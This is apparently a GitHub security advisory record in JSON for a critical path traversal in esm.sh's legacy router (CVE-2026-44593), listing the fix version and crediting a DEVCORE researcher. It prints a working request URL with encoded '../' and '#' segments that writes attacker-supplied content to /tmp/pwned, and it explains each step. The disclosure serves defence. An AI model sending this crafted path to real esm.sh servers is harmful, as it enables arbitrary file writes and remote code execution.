{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260508100112-1960055e1d53"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44593"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T22:22:39Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Impact\n- Arbitrary File Write \u2013 An attacker can cause the server to write data to any file path it has write permission for.\n- Privilege Escalation / RCE \u2013 By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server\u2019s privileges.\n\n### Exploit\n\nThe legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put`  \n(see \u003chttps://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291\u003e).\n\nFor a URL such as:\n\n```\nhttp://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/\u003cattacker\u003e/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n```\n\nthe router concatenates the path components without sanitizing them, producing a storage key like:\n\n```\nlegacy/v111/react@19.2.0/esnext/../../../gh/\u003cattacker\u003e/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n```\n\nWhen this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server.\n\n\n### Details\n\n1. **URL Construction**  \n   A crafted request is sent to the server:\n   ```\n   http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/\u003cattacker\u003e/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n   ```\n\n2. **Proxy to Legacy Server**  \n   The request is forwarded to:\n   ```\n   http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/\u003cattacker\u003e/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned\n   ```\n   which resolves to:\n   ```\n   http://legacy.esm.sh/gh/\u003cattacker\u003e/exp@1171e85d5d/foo.md\n   ```\n\n3. **File Retrieval**  \n   The server fetches `foo.md` from the GitHub repository `https://github.com/\u003cattacker\u003e/exp`.\n\n4. **Path Normalisation \u0026 Storage**  \n   The storage path derived from the request is:\n   ```\n   legacy/v111/react@19.2.0/esnext/../../../gh/\u003cattacker\u003e/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n   ```\n   Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location.\n\n5. **Result**  \n   By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.\n\n\n### Credit Discovery To\nsplitline (@\\_splitline\\_) from DEVCORE Research Team",
  "id": "GHSA-3636-h3vx-6465",
  "modified": "2026-05-12T22:22:39Z",
  "published": "2026-05-12T22:22:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esm-dev/esm.sh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/releases/tag/v137_3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "esm.sh: Legacy Route Path Traversal Can Lead to RCE"
}